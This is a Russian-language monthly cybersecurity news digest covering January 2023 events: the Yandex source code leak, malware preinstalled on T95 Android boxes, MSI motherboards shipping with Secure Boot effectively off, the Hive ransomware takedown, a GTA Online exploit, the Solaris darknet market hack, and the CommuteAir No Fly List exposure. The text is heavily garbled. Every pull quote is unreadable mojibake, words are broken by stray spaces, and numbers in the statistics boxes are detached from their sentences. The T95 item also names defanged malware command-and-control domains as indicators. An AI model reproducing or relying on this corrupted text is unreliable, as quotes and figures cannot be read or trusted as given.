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В этом месяце: хакеры инте ресу ются воз можнос тями
ChatGPT, у Яндекса про изош ла утеч ка исходных кодов,
на материн ских пла тах MSI не работа ет Secure Boot, играть
в GTA Online может быть опас но, дар кнет-мар кет плей сы
выпус кают собс твен ные Android-при ложе ния, а так же дру -
гие инте рес ные события про шед шего янва ря.

У ЯНДЕКСА УТЕКЛИ
ИСХОДНЫЕ КОДЫ
В кон це янва ря на хакер ском форуме была опуб ликова на ссыл ка на ска чива ние
дам па, получен ного из внут ренне го репози тория ком пании «Яндекс». Общий
раз мер утеч ки сос тавил 44,7 Гбайт в сжа том виде.

Дамп содер жит сре зы Git-репози тори ев Яндекса с исходны ми
кодами 79 сер висов и про ектов ком пании, сре ди которых: поис ковый дви жок
(фрон тенд и бэкенд), бот индекса ции стра ниц, плат форма веб-ана лити ки
Yandex Metrika, кар тогра фичес кая сис тема Yandex Maps, голосо вой помощ ник
Али са, информа цион ная сис тема служ бы под дер жки, Yandex Phone, рек ламная
плат форма Yandex Direct, поч товый сер вис Yandex Mail, хра нили ще Yandex Disk,
сеть дос тавки кон тента, тор говая пло щад ка Yandex Market, облачная плат -
форма Yandex Cloud, пла теж ная сис тема Yandex Pay, Яндекс Поиск, Яндекс
Мет рика, Яндекс Так си, Яндекс Путешес твия, Яндекс 360 и внут ренняя сис -
тема диаг ности ки Solomon.

Дамп рас простра няет ся через тор ренты и поделен на отдель ные архи вы
(.tar.bz2), по наз вани ям которых мож но иден тифици ровать мно гие сер висы
Яндекса. Самые боль шие архи вы — это frontend (18,26 Гбайт), classieds
(4,67 Гбайт), market (4 Гбайт), taxi (3,3 Гбайт) и portal (2,35 Гбайт). Все фай лы
утеч ки датиро ваны 24 фев раля 2022 года.

Поч ти пол ный спи сок фай лов (за исклю чени ем архи вов frontend и classieds)
мож но най ти .здесь

Вско ре в пресс-служ бе Яндекса под твер дили утеч ку, под чер кнув, что взло ма
ком пании не было, а репози тории нуж ны лишь для работы с кодом и не пред -
назна чены для хра нения пер сональ ных дан ных поль зовате лей. В ком пании
заяв ляли, что «не видят какой-либо угро зы для дан ных поль зовате лей
или работос пособ ности плат формы». При чем, сог ласно сооб щени ям СМИ,
дан ные и вов се слил инсай дер.

Че рез нес коль ко дней в бло ге Яндекса появи лись пер вые резуль таты рас -
сле дова ния инци ден та.

«

»

«Îïóá ëèêîâàí íûå ôðàã ìåíòû äåé ñòâè òåëü íî âçÿ òû èç íàøåãî âíóò -

ðåííå ãî ðåïîçè òîðèÿ — èíñ òðó ìåí òà, ñ ïîìîùüþ êîòîðî ãî ðàç ðàáîò -

÷èêè êîì ïàíèè ðàáîòà þò ñ êîäîì. Ïðè ýòîì ñîäåð æèìîå àðõè âà ñîîò -

âåòñ òâó åò óñòà ðåâ øåé âåð ñèè ðåïîçè òîðèÿ — îíà îòëè ÷àåò ñÿ îò àêòó -

àëü íîé âåð ñèè, êîòîðàÿ èñïîëü çóåò ñÿ íàøèìè ñåð âèñàìè.

Ïåð âè÷íûé àíà ëèç ïîêàçàë, ÷òî îïóá ëèêîâàí íûå ôðàã ìåíòû íå íåñóò

êàêîé‑ëèáî óãðî çû äëÿ áåçîïàñ íîñòè íàøèõ ïîëü çîâàòå ëåé

èëè ðàáîòîñ ïîñîá íîñòè ñåð âèñîâ. Â òî æå âðå ìÿ ìû ðåøèëè, ÷òî ñëî -

æèâ øàÿñÿ ñèòó àöèÿ — ïîâîä ïðî âåñ òè ìàñ øòàá íûé àóäèò âñå ãî ñîäåð -

æèìîãî ðåïîçè òîðèÿ», — ñîîá ùèëè â êîì ïàíèè.

К сожале нию, в ходе ауди та обна ружи лось нес коль ко слу чаев серь езно го
наруше ния политик ком пании, в том чис ле прин ципов Яндекса и пра вил кор -
поратив ной эти ки. В отче те при водит ся нес коль ко при меров таких наруше ний.
• Ока залось, что в коде содер жались кон так тные дан ные пар тне ров ком -

пании. Нап ример, водите лей — в некото рых слу чаях их кон такты и номера
водитель ских удос товере ний переда вались из одно го так сопар ка в дру гой.

• Бы ли зафик сирова ны слу чаи, ког да логику работы сер висов кор ректи рова ли
не алго рит мичес ким спо собом, а «кос тылями». Через такие «кос тыли»
исправ ляли отдель ные ошиб ки сис темы рекомен даций, которая отве чает
за допол нитель ные эле мен ты поис ковой выдачи, и регули рова ли нас трой ки
поис ка по кар тинкам и видео.

• В сер висе «Яндекс Лав ка» сущес тво вала воз можность нас тро ить вруч ную
рекомен дации любых товаров без помет ки об их рек ламном харак тере.

• Об наружи лось наличие при ори тет ной под дер жки для отдель ных групп
поль зовате лей в сер висах «Так си» и «Еда».

• Не кото рые час ти кода содер жали сло ва, которые никак не вли яли на работу
сер висов, но сами по себе были оскорби тель ны для людей раз ных рас
и наци ональ нос тей.

• Опуб ликован ные фраг менты кода содер жали в том чис ле и тес товые алго -
рит мы, которые исполь зовались толь ко внут ри Яндекса для про вер ки кор -
рек тнос ти работы сер висов. Нап ример, для улуч шения качес тва акти вации
ассистен та и умень шения количес тва лож ных сра баты ваний в бета-вер сии
для сот рудни ков при меня ется нас трой ка, которая вклю чает мик рофон
устрой ства на нес коль ко секунд в слу чай ный момент без упо мина ния Али -
сы.

Сог ласно отче ту, боль шинс тво выяв ленных проб лем было свя зано с попыт -
ками вруч ную внес ти в сер вис улуч шение или устра нить ошиб ку. «Ошиб ки —
часть жиз ни. Их не избе жать, если у тебя не ста тич ный, а пос тоян но раз вива -
ющий ся про дукт», — отме чают в ком пании.

В свя зи с этим пред ста вите ли ком пании приз нали, что им очень стыд но
за слу чив шееся и они дол жны при нес ти изви нения всем, кого мог ла зат ронуть
эта ситу ация.

«

»

«Îäèí èç ïðèí öèïîâ ßíäåêñà ãëà ñèò: íàøà ðàáîòà ñòðî èòñÿ íà ïðèí -

öèïàõ ÷åñ òíîñ òè è ïðîç ðà÷íîñ òè. Ìû èñõî äèì èç òîãî, ÷òî ëþáîé âíóò -

ðåííèé äèàëîã, äîêóìåíò èëè èñõîäíûé êîä ïðè îïðå äåëåí íûõ îáñòî -

ÿòåëü ñòâàõ ìîæåò ñòàòü ïóá ëè÷íûì. È åñëè ýòî ñëó ÷èò ñÿ, íàì íå äîë æíî

áûòü ñòûä íî.

Ñåé ÷àñ íàì î÷åíü ñòûä íî, è ìû ïðè íîñèì èçâè íåíèÿ íàøèì ïîëü -

çîâàòå ëÿì è ïàð òíå ðàì», — ãîâîðÿò â ßíäåêñå.

Так же в ком пании пообе щали сно ва вер нуть ся к воп росам тех ноэти ки, возоб -
новив работу по фор мирова нию ее стан дартов и прин ципов. «Они будут опуб -
ликова ны на сай те ком пании и ста нут частью наших общих политик. Все фраг -
менты кода, которые про тиво речат им, будут исправ лены», — завери ли раз -
работ чики.

 АТАКОВАННЫХ ОРГАНИЗАЦИЙ200

По дан ным Emsisoft, в 2022 году от атак шиф роваль щиков пос тра дали более  круп ных аме -
рикан ских орга низа ций в государс твен ном, обра зова тель ном и здра воох ранитель ном сек -
торах. По срав нению с 2021 годом количес тво атак вымога телей на муници паль ные орга ны
влас ти вырос ло с  слу чаев до .
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Эк спер ты говорят, что отсле живать ата ки на медицин ские учрежде ния слож но в силу «нечет -
кого рас кры тия информа ции». И хотя таких инци ден тов офи циаль но нас читыва ется все го ,
пос ледс твия этих взло мов мог ли зат ронуть более  боль ниц и кли ник.
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ANDROID-
ПРИСТАВКИ
С МАЛВАРЬЮ
Ка над ский сисад мин Дани эль Милишич (Daniel Milisic) обна ружил, что про шив -
ка куп ленной им на Amazon Android-прис тавки T95 была зараже на слож ной
мал варью пря мо «из короб ки».

Вре донос был в про шив ке прис тавки T95 с про цес сором AllWinner H616,
которая про дает ся на Amazon, AliExpress и дру гих круп ных мар кет плей сах
в раз ных стра нах мира. Милишич отме чает, что такие прис тавки про ходят
совер шенно неяс ный путь от про изводс тва в Китае до при лав ков вир туаль ных
магази нов. Во мно гих слу чаях девай сы про дают ся под раз ными брен дами
и наз вани ями, а чет кого ука зания их про исхожде ния поп росту нет.

Кро ме того, пос коль ку такие устрой ства обыч но про ходят через мно жес тво
рук, пос тавщи ки и ресел леры име ют мно жес тво воз можнос тей для заг рузки
на них кас томых ROM, вклю чая потен циаль но вре донос ные.

Ис сле дова тель рас ска зал, что изу чен ное им устрой ство T95 исполь зовало
ROM на базе Android 10, под писан ный тес товыми клю чами, и ADB (Android
Debug Bridge), откры тый через Ethernet и Wi-Fi. Эта кон фигура ция уже нас -
торажи вает: ADB может исполь зовать ся для под клю чения к устрой ствам, неог -
раничен ного дос тупа к фай ловой сис теме, выпол нения команд, уста нов ки ПО,
изме нения дан ных и уда лен ного управле ния девай сом. Но так как боль шинс -
тво пот ребитель ских устрой ств защище ны бран дма уэром, зло умыш ленни ки
вряд ли смо гут уда лен но под клю чить ся к ним через ADB.

Ми лишич изна чаль но при обрел устрой ство, что бы запус тить на нем DNS
sinkhole Pi-hole, защища ющую устрой ства от нежела тель ного кон тента, рек -
ламы и вре донос ных сай тов без уста нов ки допол нитель ного ПО. Одна ко пос ле
ана лиза DNS-зап росов в Pi-hole он заметил, что устрой ство пыталось под клю -
чить ся к нес коль ким IP-адре сам, свя зан ным с активной мал варью.

Су дя по все му, уста нов ленная на устрой стве мал варь — это слож ный
Android-вре донос CopyCat, обна ружен ный экспер тами из ком пании Check
Point в 2017 году. Уже тог да ана лити ки счи тали, что мал варь зарази ла
более 14 мил лионов устрой ств по все му миру, получи ла root-дос туп к 8 мил -
лионам из них и все го за два месяца при нес ла сво им авто рам око ло 1,5 мил -
лиона дол ларов США.

«

»

«ß îáíà ðóæèë ñëîè ïîâåðõ âðå äîíîñ íîãî ÏÎ, èñïîëü çóÿ tcpflow

è nethogs äëÿ ìîíèòî ðèí ãà òðà ôèêà, è îòñëå äèë âðå äîíîñ äî âûçûâà -

þùå ãî íàðóøå íèå ïðî öåñ ñà/APK, êîòîðûé çàòåì óäà ëèë èç ROM, —

îáú ÿñíÿ åò èññëå äîâà òåëü. — Íî ïîñ ëåäíÿÿ ÷àñòü âðå äîíîñ íîãî ÏÎ,

êîòîðóþ ìíå íå óäà ëîñü ïðîñ ëåäèòü, âíåä ðÿåò ïðî öåññ system_server è,

ïîõîæå, ãëó áîêî èíòåãðè ðîâà íà â ïðî øèâ êó».

Ока залось, что вре донос упор но пыта ется получить допол нитель ную полез ную
наг рузку с сай тов ycxrl[.]com, cbphe[.]com и cbpheback[.]com. Пос коль ку соз -
дать чис тую про шив ку для замены вре донос ной ока залось труд но, Милишич
решил изме нить DNS C&C, что бы нап равить зап росы через веб-сер вер Pi-hole
и заб локиро вать их.

Ис сле дова тель отме чает, что ему неиз вес тно, мно гие ли Android-прис тавки
этой модели на Amazon зараже ны, и он не зна ет, как имен но это про изош ло,
но всем поль зовате лям T95 он рекомен дует выпол нить два прос тых шага, что -
бы точ но очис тить свое устрой ство и ней тра лизо вать вре донос ное ПО, которое
может на нем работать:
• пе резаг рузить девайс в режиме вос ста нов ления или выпол нить сброс

к завод ским нас трой кам через меню;
• пос ле перезаг рузки под клю чить ся к ADB через USB или Wi-Fi-Ethernet

и запус тить соз данный им .скрипт

Что бы убе дить ся, что мал варь обез вре жена, сле дует запус тить adb logcat |
grep Corejava и удос товерить ся, что коман ду chmod выпол нить не уда лось.

Учи тывая, что такие устрой ства весь ма недоро ги, иссле дова тель отме чает,
что, воз можно, более разум ным выходом будет вооб ще прек ратить исполь -
зовать их.

 ДОЛЛАРОВ НА ОТДЫХ И ЕДУ40 000 000

СМИ выяс нили, что толь ко за девять пос ледних месяцев руководс тво обан кро тив шей ся крип -
товалю той бир жи FTX пот ратило более  на оте ли, еду, раз вле чения
и переле ты.

40 мил лионов дол ларов

Око ло  было пот рачено на отель Albany — курорт на берегу оке ана
с собс твен ной прис танью для яхт и полем для голь фа, где быв ший гла ва FTX Сэм Бэн -
кман-Фрид про живал в пен тха усе.

5,8 мил лиона дол ларов

 были пот рачены на «еду и раз вле чения». Поч ти полови на этой сум -
мы — услу ги общес твен ного питания, при чем  приш лось на питание
сот рудни ков в оте ле Hyatt.

6,9 мил лиона дол ларов
1,4 мил лиона дол ларов

У MSI НЕ РАБОТАЕТ
SECURE BOOT
Но возе ланд ский сту дент Давид Потоц кий (Dawid Potocki) слу чай но обна ружил,
что на 290 моделях материн ских плат MSI по умол чанию не работа ет фун кция
Secure Boot, отве чающая за безопас ную заг рузку UEFI. Это озна чает, что
на уяз вимых машинах мож но запус тить любой образ ОС незави симо от того,
под писан ли он и под линная ли под пись.

Ис сле дова тель нашел проб лему слу чай но, во вре мя нас трой ки нового
компь юте ра. «Я обна ружил, что про шив ка при нима ет любой образ ОС,
который я ей пре дос тавляю, неваж но, доверен ный он или нет», — писал он
в сво ем бло ге.

Ока залось, что еще в янва ре 2022 года ком пания MSI обно вила нас трой ки
в раз деле Secure Boot в сво ем UEFI/BIOS, изме нив зна чения по умол чанию
с релизом новой про шив ки. В ито ге все зна чения в под разде ле Image Execution
Policy ока зались уста нов лены на Always Execute («Всег да выпол нять»).
Это озна чает, что, если вре донос ное ПО изме нило заг рузчик ОС, MSI
UEFI/BIOS все рав но заг рузит вре донос ный образ, даже если с его крип тогра -
фичес кой под писью явно не все в поряд ке.

По тоц кий говорит, что нас трой ки, конеч но, нуж но испра вить на более разум -
ные, уста новив зна чение Deny Execute («Зап ретить выпол нение») как минимум
для Removable Media и Fixed Media.

Од нако, обна ружив проб лему на сво ей машине, Потоц кий пошел даль ше
и решил выяс нить, толь ко ли его материн скую пла ту «улуч шили» раз работ чики
MSI. Ока залось, что проб лема куда мас штаб нее: про изво дитель изме нил нас -
трой ки на небезо пас ные для более чем 290 моделей материн ских плат (для
про цес соров как Intel, так и AMD), пол ный спи сок которых мож но най ти .здесь

«

»

«Êàêèå áû ôóí êöèè áåçîïàñ íîñòè âû íè âêëþ ÷àëè, íå âåðü òå, ÷òî îíè

ðàáîòà þò, ÏÐÎ ÂÅÐÜ ÒÅ ÈÕ! Êàêèì‑òî îáðà çîì ÿ îêà çàë ñÿ ïåð âûì, êòî

çàäîêó ìåí òèðîâàë ýòó ïðîá ëåìó, õîòÿ âïåð âûå îíà âîç íèêëà ãäå‑òî

â òðåòü åì êâàð òàëå 2021 ãîäà», — çàê ëþ÷à åò èññëå äîâà òåëü.

Всем поль зовате лям материн ских плат MSI Потоц кий рекомен дует про верить
нас трой ки и в слу чае необ ходимос ти уста новить безопас ные зна чения в раз -
деле Image Execution Policy.

ПРАВООХРАНИТЕЛИ ВЗЛОМАЛИ HIVE

Пра воох ранитель ные орга ны три над цати стран мира при няли учас тие в опе рации по лик -
видации инфраструк туры RaaS-шиф роваль щика Hive. Минис терс тво юсти ции США, ФБР
и Евро пол заяви ли, что сумели про ник нуть в инфраструк туру хак-груп пы еще в июле прош лого
года, регуляр но перех ватыва ли клю чи дешиф рования и пре дот вра тили вып лату выкупов
на общую сум му око ло 130 мил лионов дол ларов.

→ «Незамет но для Hive в ходе кибер засады наша следс твен ная груп па
на закон ных осно вани ях про ник ла в сеть Hive и скры валась там нес коль ко
месяцев, неод нократ но перех ватывая клю чи дешиф рования и переда вая их
жер твам, что бы осво бодить их от вымога телей. В течение нес коль ких месяцев
мы помога ли жер твам победить зло умыш ленни ков и лишали Hive при былей
от вымога тель ства. Про ще говоря, мы хак нули хакеров, исполь зуя закон ные
средс тва. Мы побили Hive их же ору жием и раз рушили их биз нес-модель»,

— заяви ла замес титель генераль ного про куро ра Лиза Монако на пресс-кон ферен ции.

GTA ONLINE
НЕБЕЗОПАСНА
ДЛЯ ИГРОКОВ
В игре обна ружи ли уяз вимость, которая может при вес ти к потере игро вого
прог ресса, кра же игро вых денег, бану и дру гим неп рият ным пос ледс тви ям.
Экспер ты пре дуп редили, что еще нем ного и экс пло ит для этой проб лемы поз -
волит добить ся уда лен ного выпол нения кода через GTA Online, то есть хакеры
смо гут уда лен но запус тить мал варь на компь юте рах с работа ющей игрой.

20 янва ря об этой уяз вимос ти сооб щил Twitter-акка унт Tez2, пос вящен ный
играм Rockstar Games. По его информа ции, мно жес тво игро ков GTA Online
жалова лись на потерю прог ресса, баны и кики, с которы ми им приш лось стол -
кнуть ся в пос леднее вре мя. Форумы под дер жки Rockstar Games дей стви тель -
но ока зались завале ны мно гочис ленны ми сооб щени ями поль зовате лей
о проб лемах с учет ными запися ми.

Продолжение статьи →

mailto:nefedova@glc.ru
https://gist.github.com/ArseniyShestakov/53a80e3214601aa20d1075872a1ea989
https://github.com/DesktopECHO/T95-H616-Malware/blob/main/T95-H616-Cleanup.sh
https://github.com/Foxboron/sbctl/issues/181
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Tez2 нас тоятель но рекомен довал всем поль зовате лям не играть без бран дма -
уэра и писал, что раз работ чики уже зна ют о проб леме и работа ют над ее
решени ем.

Вско ре пос ле это го информа цию о проб леме раз мести ли в зак реплен ном
сооб щении на саб редди те GTA Online. Там поль зовате лям рекомен довали
вооб ще не заходить в игру, пока раз работ чики Rockstar Games не выпус тят
патч, так как экс пло ит для опас ной уяз вимос ти уже дос тупен в сети. На Reddit
под черки вали, что даже оди ноч ный режим может пред став лять угро зу
безопас ности, а экс плу ата ция бага может при водить к «пор че» акка унта, пос ле
чего, веро ятно, оста нет ся толь ко заводить новый.

По информа ции СМИ, за этот перепо лох, похоже, ответс тве нен раз работ чик
читов North GTA Online, который добавил в свой про дукт новые «фун кции»,
свя зан ные с уяз вимостью, 20 янва ря 2023 года (в рам ках вер сии 2.0.0). Так же,
по информа ции жур налис тов, уяз вимость уже получи ла иден тифика тор CVE
и отсле жива ется как CVE-2023-24059.

При этом раз работ чик North GTA Online заявил, что изба вил ся от опас ных фун -
кций бук валь но на сле дующий день, 21 янва ря, и при нес всем изви нения
за неожи дан ный хаос, который это спро воци рова ло. По его сло вам, было
ошиб кой сде лать пуб личны ми фун кции, свя зан ные с уда лени ем денег игро ков
и пор чей акка унтов.

Так как Rockstar Games до сих пор не выпус тила пат чей, спе циалис ты пре -
дуп режда ют, что экс пло ит для этой уяз вимос ти свя зан с «час тичным уда лен -
ным выпол нени ем про изволь ного кода», то есть может при вес ти к взло му
не толь ко учет ных записей GTA Online, но и любого компь юте ра, на котором
запуще на игра.

Так, Speyedr, раз работ чик извес тно го кас томно го бран дма уэра для GTA V
под наз вани ем Guardian, говорит, что зло умыш ленни ки уже находят ся «на гра -
ни обна руже ния» спо соба для пол ного уда лен ного выпол нения кода через GTA
Online. Он под черки вает, что Guardian по-преж нему работа ет и экс пло ит
не может его обой ти, но необ ходимо пра виль но нас тро ить бран дма уэр, что бы
тот мог защитить поль зовате лей от экс плу ата ции уяз вимос ти.

По этой при чине раз работ чик вре мен но уда лил фай лы Guardian с GitHub
и приз вал всех поль зовате лей Windows дер жать ся подаль ше от GTA Online,
пока ошиб ка не будет исправ лена.

УТЕКЛИ ДАННЫЕ  ЖИТЕЛЕЙ РОССИИ75%

В прош лом году в откры том дос тупе в резуль тате уте чек ока зались дан ные .
К таким выводам приш ли ана лити ки ком пании DLBI (Data Leakage & Breach Intelligence), изу чив
более  круп ных уте чек, вклю чая свя зан ные с «Поч той Рос сии», Яндекс Едой и Delivery Club,
СДЭК, «Гемотес том», «Туту.ру».

3/4  рос сиян

260

Об щий объ ем про ана лизи рован ных уте чек сос тавил  уни каль ных email-адре сов
и  уни каль ных телефон ных номеров.

99,8 мил лиона
109,7 мил лиона

По мне нию осно вате ля сер виса DLBI Ашо та Ога неся на, это мож но соот нести с чис ленностью
населе ния Рос сии, где у боль шинс тва есть толь ко один телефон ный номер, и тог да получа -
ется, что в прош лом году утек ли дан ные  всех жителей Рос сии или  жителей взрос -
лого (тру дос пособ ного) и стар шего воз раста.

75% 85%

ДАРКНЕТ-
МАРКЕТПЛЕЙС
SOLARIS ХАКНУЛИ
КОНКУРЕНТЫ
Круп ный мар кет плейс Solaris, спе циали зиру ющий ся на про даже нар котиков
и дру гих зап рещен ных веществ, был зах вачен более мел ким кон курен том,
извес тным под наз вани ем Kraken. Хакеры утвер жда ют, что взло мали кон -
куриру ющую пло щад ку 13 янва ря 2023 года.

Solaris работа ет не так дав но. Он появил ся на свет пос ле 
 и пыта ется перема нить к себе часть поль зовате лей исчезнув шего

мар кет плей са. Тор говая пло щад ка доволь но быс тро зах ватила око ло 25% рын -
ка, и через нее уже прош ло око ло 150 мил лионов дол ларов.

зак рытия «Гид ры»
влас тями

Сог ласно све жему отче ту ком пании Resecurity, от зак рытия «Гид ры» боль -
ше все го выиг рали тор говые пло щад ки RuTor, WayAway, Legalizer, OMG!, Solaris
и Nemesis. По дан ным иссле дова телей, зак рытие «Гид ры» при нес ло Solaris
око ло 60 тысяч поль зовате лей, тог да как упо мяну тый выше Kraken получил
лишь око ло 10% от это го количес тва (при мер но 6500 человек).

Жур налис ты изда ния Bleeping Computer сооб щили, что Solaris — это рус ско -
языч ная пло щад ка, которую иссле дова тели свя зыва ют с хак-груп пой Killnet,
регуляр но устра ивающей DDoS-ата ки на запад ные орга низа ции. К при меру,
блок чейн-ана лити ки из ком пании Elliptic отсле дили нес коль ко пожер тво ваний
от Solaris для Killnet на общую сум му более 44 тысяч дол ларов в бит коинах.
Пред полага ется, что груп па исполь зовала эти день ги, что бы купить боль ше
«огне вой мощи» для про веде ния DDoS-атак.

Так же отме чалось, что в декаб ре прош лого года укра инский ИБ-спе циалист
Алекс Хол ден заявил, что ему уда лось взло мать Solaris и похитить 25 тысяч
дол ларов, которые он затем пожер тво вал укра инской гумани тар ной орга низа -
ции. Тог да адми нис тра торы Solaris опро вер гали заяв ления о взло ме, ссы лаясь
на отсутс твие доказа тель ств, но Хол ден поз же  более деталь ное
опи сание сво ей ата ки, а так же слил исходный код и базы дан ных, пред положи -
тель но свя зан ные с мар кет плей сом.

опуб ликовал

В ито ге 13 янва ря 2023 года пред ста вите ли Kraken объ яви ли, что они зах -
ватили инфраструк туру Solaris, репози торий тор говой пло щад ки на GitLab и все
исходные коды про екта, бла года ря «нес коль ким огромным ошиб кам в коде».

За явле ние Kraken гла сит, что хакерам пот ребова лось три дня, что бы похитить
пароли и клю чи, хра нив шиеся на сер верах Solaris откры тым тек стом, получить
дос туп к инфраструк туре, рас положен ной в Фин ляндии, а затем без спеш ки
ска чать все необ ходимое. Так же зло умыш ленни ки заяви ли, что отклю чили бит -
коин-сер вер Solaris, «что бы ник то ничего не воровал», и эту информа цию под -
твер дили спе циалис ты ком пании Elliptic.

Ад минис тра ция Solaris не делала никаких заяв лений о ста тусе плат формы
и обос нован ности заяв лений Kraken, но иссле дова тели полага ют, что за всем
этим вряд ли сто ят полити чес кие при чины, ско рее дело в финан сах, а так же
«рыноч ных» инте ресах раз ных хакер ских груп пировок.

DDOS-АТАКИ В 2022 ГОДУ УЧАСТИЛИСЬ
Ана лити ки ком пании «Рос телеком-Солар» под готови ли отчет об ата ках на онлайн-ресур сы рос -
сий ских ком паний по ито гам 2022 года. По дан ным ком пании, минув ший 2022 год изме нил весь
лан дшафт киберуг роз, а количес тво атак вырос ло в разы.

Са мым ата куемым реги оном в 2022 году ста ла , так как имен но здесь скон цен три рова -
на боль шая часть орга низа ций. Сум марно на реги он приш лось более  DDoS-атак.
Далее сле дуют Ураль ский федераль ный округ (поч ти  атак) и Цен траль ный
федераль ный округ (чуть более  инци ден тов).

Мос ква
500 тысяч

100  тысяч
50 тысяч

Ос новной поток DDoS-атак не отли чал ся высокой мощ ностью: они не пре выша ли .
Зато ста ло боль ше мощ ных целевых атак на кон крет ные ком пании и «мас сирован ных уда ров»,
при уро чен ных к каким-то кон крет ным событи ям. Так, в фев рале иссле дова тели зафик сирова ли
ата ку мощ ностью более , что поч ти в два раза пре выша ет самую мощ ную ата ку
пре дыду щего года.

50 Гбит/с

760  Гбит/с

Дли тель ность боль шинс тва атак была невысо кой, но отдель ные из них ока зались рекор дны ми
по про дол житель нос ти. В час тнос ти, одна из DDoS-атак дли лась  (поч ти три
месяца).

2000  часов

На иболь шее чис ло ( ) веб-атак было нап равле но на гос сектор. Его ата кова ли как минимум
в три, а мес тами и , чем в 2021 году.

30%
в 12 раз чаще

ГЛАВУ ФБР БЕСПОКОИТ КИТАЙСКИЙ ИИ

Выс тупая на Все мир ном эко номи чес ком форуме в Давосе, дирек тор ФБР Крис тофер Рэй
заявил, что он глу боко обес поко ен прог раммой по раз витию искусс твен ного интеллек та
в Китае. Дело в том, что, по его сло вам, влас ти стра ны «не огра ничи вают себя пра вовы ми нор -
мами», а амби ции Пекина в области ИИ «стро ятся на осно вании огромно го количес тва
интеллек туаль ной собс твен ности и кон фиден циаль ных дан ных, которые были похище ны
в прош лые годы».

→ «Этот воп рос глу боко нас бес поко ит, и думаю, все при сутс тву ющие дол жны
быть обес поко ены так же. Что каса ется ИИ в целом — это клас сичес кий при мер
тех нологии, на которую я каж дый раз реаги рую оди нако во. Я думаю: „Ух ты, мы
можем такое сде лать?“, а потом думаю: „О боже, они тоже могут такое сде -
лать“»,

— поделил ся сво ими опа сени ями Рэй.

ЗАБЫТЫЙ NO FLY LIST
Аме рикан ская ави аком пания CommuteAir слу чай но оста вила на незащи щен ном
сер вере спи сок лиц, которых нель зя пус кать на борт самоле тов, летящих
в США или из США (так называ емый No Fly List). Эта базу, содер жащую более
полуто ра мил лиона записей, обна ружил швей цар ский хакер maia arson crimew,
счи тающий себя хак тивис том. Иссле дова тель рас ска зал, что прос то ску чал
и копал ся в IoT-поис ковике ZoomEye (китай ский ана лог Shodan), ког да нат кнул -
ся на оче ред ной незащи щен ный сер вер Jenkins, которых в интерне те пре дос -
таточ но.

Од нако на этом кон крет ном сер вере вни мание arson crimew прив лекли
аббре виату ра ACARS (Airborne Communications Addressing and Reporting
System) и мно гочис ленные упо мина ния сло ва crew («эки паж»), пос ле чего
выяс нилось, что незащи щен ная машина при над лежит ави аком пании
CommuteAir.

На откры том для всех жела ющих сер вере хра нились самые раз ные дан ные,
вклю чая лич ную информа цию при мер но 9000 сот рудни ков CommuteAir,
путевые лис ты рей сов. Иссле дова тель так же обна ружил, что может лег ко
получить дос туп к пла нам полетов, информа ции о тех ничес ком обслу жива нии
самоле тов и дру гим дан ным.

Кро ме того, в ито ге на сер вере нашел ся файл с копи ей так называ емо го
No Fly List, датиро ван ной 2019 годом. Этот спи сок содер жит более 1,56 мил -
лиона записей и вклю чает в себя име на и даты рож дения, хотя мно гие записи
дуб лиру ются.

Та кие базы появи лись в начале 2000-х, пос ле тер рорис тичес ких
атак 11 сен тября. Сна чала они содер жали лишь нес коль ко десят ков имен (в
основном это были люди, которые при час тны к тер рорис тичес кой деятель нос -
ти или обос нован но подоз рева ются в этом), но пос ле терак тов и соз дания
Минис терс тва внут ренней безопас ности США спис ки ста ли быс тро попол нять -
ся.

Точ ное количес тво людей, которые в нас тоящее вре мя есть в No Fly List,
неиз вес тно, к тому же спис ки содер жат по нес коль ко записей для одно го
челове ка, но по пос ледним оцен кам в них чис лятся от 47 тысяч до 81 тысячи
человек.

«

»

«Ýòî èçâðà ùåí íûé ïðî äóêò àìå ðèêàí ñêèõ ïðà âîîõ ðàíèòå ëåé è ïîëèöåé -

ñêî ãî ãîñóäàðñ òâà ÑØÀ â öåëîì, — ãîâîðèò arson crimew. — Ïðîñ òî

ñïè ñîê áåç êàêèõ‑ëèáî íàä ëåæàùèõ ïðà âîâûõ ïðî öåäóð… Â îñíîâíîì

[ëþäè ïîïàäà þò â íåãî] ïðîñ òî íà òîì îñíî âàíèè, ÷òî îíè çíà êîìû

ñ êåì‑òî èëè [æèâóò] â îäíîé äåðåâ íå ñ êåì‑ëèáî. Ýòî èìå åò òàêèå ìàñ -

øòà áû… Ìíå êàæåò ñÿ, ÷òî ïîäîá íîìó íå äîë æíî áûòü ìåñ òà íèã äå».

Пред ста вите ли CommuteAir под твер дили, что утеч ка дей стви тель но име ла
мес то и про изош ла из-за неп равиль но нас тро енно го сер вера раз работ ки.

«

»

«Èññëå äîâà òåëü ïîëó÷èë äîñ òóï ê ôàé ëàì, â òîì ÷èñ ëå ê óñòà ðåâ øåé

âåð ñèè ôåäåðàëü íîãî ñïèñ êà no-fly îò 2019 ãîäà, ãäå áûëè óêà çàíû

èìå íà, ôàìèëèè è äàòû ðîæ äåíèÿ, — ãîâîðèò ñÿ â çàÿâ ëåíèè êîì -

ïàíèè. — Êðî ìå òîãî, áëà ãîäà ðÿ èíôîðìà öèè, íàé äåí íîé íà ñåð âåðå,

èññëå äîâà òåëü îáíà ðóæèë äîñ òóï ê áàçå äàí íûõ, ñîäåð æàùåé ëè÷ íóþ

èíôîðìà öèþ ñîò ðóäíè êîâ CommuteAir. Ñîã ëàñíî ïðåä âàðèòåëü íîìó

ðàñ ñëå äîâà íèþ, äàí íûå êëè åíòîâ íå ïîñ òðà äàëè. CommuteAir íåìåä -

ëåííî îòêëþ ÷èëà çàò ðîíóòûé ñåð âåð è íà÷àëà ðàñ ñëå äîâà íèå èíöè äåí -

òà».

В сво ем бло ге arson crimew пообе щал пре дос тавить спи сок жур налис там
и пра воза щит ным орга низа циям ради «общес твен ного бла га». При этом пуб -
ликовать спи сок в откры том дос тупе иссле дова тель все же счел неп равиль -
ным.

ДОХОДЫ ВЫМОГАТЕЛЕЙ ПАДАЮТ
По дан ным блок чейн-ана лити ков из Chainalysis и Coveware, доходы от вымога тель ских атак упа -
ли с  мил лиона дол ларов в 2021 году до  мил лиона дол ларов в 2022 году. Экспер -
ты объ ясня ют падение поч ти на  мно жес твом фак торов, но основная при чина баналь на:
все боль ше жертв поп росту отка зыва ются пла тить хакерам.

765,6 456,8
40%

Об щая при быль вымога телей по годам

Про цент ком паний, зап латив ших выкуп хакерам в 2022 году, упал до  (по срав нению с 
в 2021 году и  в 2020 году).

41% 50%
70%

При этом сред ние и меди анные выкупы зна читель но вырос ли, осо бен но в пос леднем квар -
